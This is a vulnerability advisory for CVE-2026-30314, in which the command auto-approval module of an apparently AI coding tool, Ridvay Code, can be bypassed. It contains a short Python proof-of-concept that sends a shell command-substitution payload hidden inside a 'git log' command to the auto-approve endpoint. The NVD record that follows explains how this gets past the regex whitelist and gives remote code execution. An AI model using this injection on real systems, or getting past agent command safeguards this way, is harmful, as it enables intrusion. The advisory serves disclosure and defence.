CVE-2026-30314

import requests target = "http://target-ridvay-code/api/auto-approve" # Construct malicious payload using command substitution # This bypasses the regex whitelist looking for 'git log' payload = 'git log --grep="$(whoami)"' data = { "command": payload, "user": "attacker" } try: r = requests.post(target, json=data) print(f"Status Code: {r.status_code}") print(f"Response: {r.text}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-30314", "sourceIdentifier": "[email protected]", "published": "2026-03-31T15:16:13.233", "lastModified": "2026-04-03T15:57:23.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ridvay Code's command auto-approval module contains a critical OS command injection vulnerability that renders its whitelist security mechanism completely ineffective. The system relies on fragile regular expressions to parse command structures; while it attempts to intercept dangerous operations, it fails to account for standard Shell command substitution Ridvay Code (specifically$(...)and backticks ...). An attacker can construct a command such as git log --grep=\"$(malicious_command)\", forcing Syntx to misidentify it as a safe git operation and automatically approve it. The underlying Shell prioritizes the execution of the malicious code injected within the arguments, resulting in Remote Code Execution without any user interaction."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ridvay:auto-approval_module:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.1.1", "matchCriteriaId": "37024489-48B5-4B6F-8818-6EB0CEFF5A06"}]}]}], "references": [{"url": "https://github.com/Secsys-FDU/LLM-Tool-Calling-CVEs/issues/8", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://ridvay.com/", "source": "[email protected]", "tags": ["Product"]}]}}